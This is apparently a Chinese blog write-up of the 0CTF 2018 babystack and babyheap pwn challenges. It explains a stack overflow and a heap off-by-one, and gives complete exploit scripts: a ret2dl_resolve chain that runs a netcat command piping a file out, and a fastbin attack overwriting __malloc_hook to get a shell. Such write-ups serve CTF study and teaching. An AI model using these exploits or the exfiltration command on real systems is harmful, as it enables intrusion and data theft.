前言

0ctf2018pwn 做一个总结

正文

babystack

漏洞

非常直接的 栈溢出

ssize_t sub_804843B()
{
char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u);
}

这个题的难点在于 用 python 启动了该程序同时过滤了 stdoutstdout

#!/usr/bin/python -u
# encoding: utf-8
from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256 os.chdir(os.path.dirname(os.path.realpath(__file__))) def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
print chal
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).digest().startswith('\0\0\0'):
exit() def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait() if __name__ == '__main__':
proof_of_work()
payload = sys.stdin.read(0x100)
exec_serv('./babystack', payload)

利用

无输出,使用 ret to dl_resolve .

#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256 context.terminal = ['tmux', 'splitw', '-h']
fpath = './babystack'
offset = 44 # 离覆盖 eip 需要的距离
command_len = 60 # system 执行的命令长度 readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B p = process(fpath) rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss') # step1 : write shStr & resolve struct to bss
# buf1 = rop.retfill(offset)
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1) log.info("首先 rop 调用 read, 往 .bss 布置数据") buf2 = 'head exp.py | nc 127.0.0.1 8888\x00'
buf2 += rop.fill(command_len, buf2)
buf2 += rop.dl_resolve_data(addr_bss+command_len, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
log.info("布置 bss, 在 bss+command_len 处解析出 system 的地址") #step3 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+command_len, addr_bss)
p.send(buf3)
log.info("布置好后,通过 dl_resolve_call, 调用 system") p.interactive()

babyheap

漏洞

漏洞位于 update 函数时,可以往分配的内存多写入一字节的数据

int __fastcall update(obj *table)
{
unsigned __int64 size; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int size_; // [rsp+1Ch] [rbp-4h] printf("Index: ");
idx = get_num();
if ( idx >= 0 && idx <= 15 && table[idx].inused == 1 )
{
printf("Size: ");
LODWORD(size) = get_num();
size_ = size;
if ( size > 0 )
{
size = table[idx].size + 1; // size = 分配的内存size + 1
if ( size_ <= size )
{
printf("Content: ");
read_to_buf(table[idx].heap, size_); // 可以溢出一个字节
LODWORD(size) = printf("Chunk %d Updated\n", idx);
}
}
}
else
{
LODWORD(size) = puts("Invalid Index");
}
return size;
}

利用

  • 利用 off-by-oneoverlap chunk. 然后利用 分配 unsorted bin 的切割机制,拿到 libc 地址
  • 再次 overlap chunk ,构造 0x40 大小的 fastbin ,修改 0x40 大小的 fastbin 的第一个chunkfd0x61
  • 分配一个 0x40fastbin, 此时 main_arean->fastbin 中就会出现 0x61, 用来 fastbin 攻击
  • 再次 overlap chunk ,构造 0x60 大小的 fastbin, 修改 0x60 大小的 fastbin 的第一个 chunkfdmain_arean->fastbin
  • fastbin attack分配到 main_arean, 然后修改 main_arean->top__malloc_hook - 0x10, 然后分配内存,修改 __malloc_hookone_gadget
#/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
from time import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='info') env = {"LD_PRELOAD": "./libc-2.24.so"} # p = process("./babyheap", aslr=0)
p = remote("202.120.7.204", 127) def allocate(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size)) def update(idx, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
sleep(0.1)
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
sleep(0.1)
p.send(content) def delete(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx)) def view(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx)) code_base = 0x555555554000 gdb_command = '''
# bp %s
directory ~/workplace/glibc-2.23/malloc/
x/30xg 0x429C0F050000
c
''' %(hex(code_base + 0x000FA9)) # gdb.attach(p, gdb_command)
# pause() allocate(0x18) # 0
allocate(0x38) # 1
allocate(0x48) # 2
allocate(0x18) # 3 update(0,0x19, "a" * 0x18 + "\x91")
delete(1) allocate(0x38) # 1 view(2)
p.recvuntil("]: ") lib = ELF("./libc-2.24.so") # libc = u64(p.recv(6) + "\x00" * 2) - 0x3c4b78
libc = u64(p.recv(6) + "\x00" * 2) - lib.symbols['__malloc_hook'] - 0x68 malloc_hook = lib.symbols['__malloc_hook'] + libc
# fast_target = libc + 0x3c4b30
fast_target = malloc_hook + 0x20
bins = malloc_hook + 0x68 one_gad = libc + 0x3f35a # bins = libc + 0x3c4b78
# bins = malloc_hook log.info("libc: " + hex(libc)) allocate(0x58) # 4
allocate(0x28) # 5
allocate(0x38) # 6
allocate(0x48) # 7
allocate(0x18) # 8
allocate(0x18) # 9 delete(5)
delete(6)
delete(8) update(3,0x19, "a" * 0x18 + "\xf1")
delete(4)
allocate(0x58) # 4
allocate(0x18) # 5
allocate(0x48) # 6 # update(4,0x59, "a" * 0x59 + "\x31")
update(6, 0x8, p64(0x61))
update(4, 0x59, "a" * 0x58 + "\x41")
# pause()
allocate(0x38) # 8 allocate(0x28) # 10
allocate(0x18) # 11
allocate(0x58) # 12
allocate(0x58) # 13
# pause() payload = p64(0x0)
payload += p64(0xc1) update(7,len(payload), payload)
log.info("make 0x180's size 0xc1")
delete(11)
pause() allocate(0x48) # 11
allocate(0x58) # 14
update(14, 0x10, p64(0) + p64(0x0000000000000061))
delete(12)
update(14, 0x18, p64(0) + p64(0x0000000000000061) + p64(fast_target)) delete(0)
# delete(1)
delete(2) allocate(0x58) # 0 allocate(0x58) # 2 payload = 'a' * 0x38
payload += p64(malloc_hook-0x10)
payload += p64(bins) * 3 print hex(len(payload)) update(2, len(payload), payload)
delete(0) allocate(0x28) payload = "a" * 8
payload += p64(0)
payload += p64(0x21)
payload += p64(bins) * 2 update(11,len(payload), payload) allocate(0x28) update(12, 8, p64(one_gad)) log.info("done")
# pause() allocate(0x10) p.interactive() # x/30xg 0x429C0F050000

0ctf2018 pwn的更多相关文章

  1. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  2. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  3. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  4. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  5. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  6. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  7. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  8. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

  9. pwn学习之一

    刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...

随机推荐

  1. jQuery 阻止冒泡和默认事件

    jQuery event.preventDefault() 方法 event.preventDefault() 方法阻止元素发生默认的行为. 例如: 当点击提交按钮时阻止对表单的提交 阻止以下 URL ...

  2. 剑指offer三十五之数组中的逆序对

    一.题目 在数组中的两个数字,如果前面一个数字大于后面的数字,则这两个数字组成一个逆序对.输入一个数组,求出这个数组中的逆序对的总数P.并将P对1000000007取模的结果输出. 即输出P%1000 ...

  3. Hadoop2.0.0+CDH4.5.0集群配置

    Hadoop 2.0.0-cdh4.5.0安装:http://blog.csdn.net/u010967382/article/details/18402217 CDH版本下载:http://arch ...

  4. android view知识点 总结

    DecorView : http://www.jianshu.com/p/5aa96683d0dc 安卓事件分发机制: http://blog.csdn.net/guolin_blog/article ...

  5. Linq基础知识小记二

    书写Linq查询有两种方法,第一种是通过方法语法(也就是扩展方法),第二种是查询表达式语法. 1.方法语法 方法语法就是通过扩展方法和Lambda表达式来创建查询 (1).链式查询 这种查询方式很多语 ...

  6. Filter应用之-验证用户是否已经登录

    过滤器: public class LoginFilter implements Filter{ @Override public void init(FilterConfig filterConfi ...

  7. 【Java并发编程】:线程中断

    使用interrupt()中断线程 当一个线程运行时,另一个线程可以调用对应的Thread对象的interrupt()方法来中断它,该方法只是在目标线程中设置一个标志,表示它已经被中断,并立即返回.这 ...

  8. android 使用lint + studio ,排查客户端无用string,drawable,layout资源

    在项目中点击右键(或者菜单中的Analyze),在出现的右键菜单中有“Analyze” --> “run inspaction by Name ...”.在弹出的搜索窗口中输入想执行的检查类型, ...

  9. Android 开发工具类 32_通过 HTTP 协议实现文件上传

    完成像带有文件的用户数据表单的上传,而且可以上传多个文件,这在用户注册并拍照时尤其有用. import java.io.BufferedReader; import java.io.ByteArray ...

  10. ID3、C4.5和CART决策树对比

    ID3决策树:利用信息增益来划分节点 信息熵是度量样本集合纯度最常用的一种指标.假设样本集合D中第k类样本所占的比重为pk,那么信息熵的计算则为下面的计算方式 当这个Ent(D)的值越小,说明样本集合 ...